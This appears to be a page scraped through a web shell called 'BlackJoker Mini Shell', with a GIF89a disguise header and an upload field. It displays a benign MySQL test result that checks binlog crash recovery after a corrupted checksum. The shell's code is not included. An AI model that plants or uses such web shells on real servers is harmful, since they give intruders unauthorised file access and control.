GIF89a; Mini Shell

Mini Shell

Direktori : /usr/share/mysql-test/suite/binlog/r/
Upload File :
Current File : //usr/share/mysql-test/suite/binlog/r/binlog_crash_safe_master_checksum.result

call mtr.add_suppression("Attempting backtrace");
call mtr.add_suppression("allocated tablespace *., old maximum was 0");
call mtr.add_suppression("Error in Log_event::read_log_event()");
call mtr.add_suppression("Buffered warning: Performance schema disabled");
RESET MASTER;
CREATE TABLE t1(a LONGBLOB) ENGINE=INNODB;
CREATE TABLE t2(a LONGBLOB) ENGINE=MYISAM;
# Test case5: Inject wrong value of crc for a log event, and
#             then set DBUG POINT to casue the master crash.
INSERT INTO t2 (a) VALUES (REPEAT('a',1));
BEGIN;
INSERT INTO t1 (a) VALUES (REPEAT('a',1));
INSERT INTO t1 (a) VALUES (REPEAT('a',2));
COMMIT;
BEGIN;
INSERT INTO t1 (a) VALUES (REPEAT('a',3));
COMMIT;
ERROR HY000: Lost connection to MySQL server during query
# Restart the master server
# Test the transaction with a log event injected a wrong crc value
# will be trimmed from the crashed binlog file
include/show_binlog_events.inc
Log_name	Pos	Event_type	Server_id	End_log_pos	Info
master-bin.000001	#	Query	#	#	BEGIN
master-bin.000001	#	Table_map	#	#	table_id: # (test.t2)
master-bin.000001	#	Write_rows	#	#	table_id: # flags: STMT_END_F
master-bin.000001	#	Query	#	#	COMMIT
DROP TABLE t1, t2;

./BlackJoker Mini Shell 1.0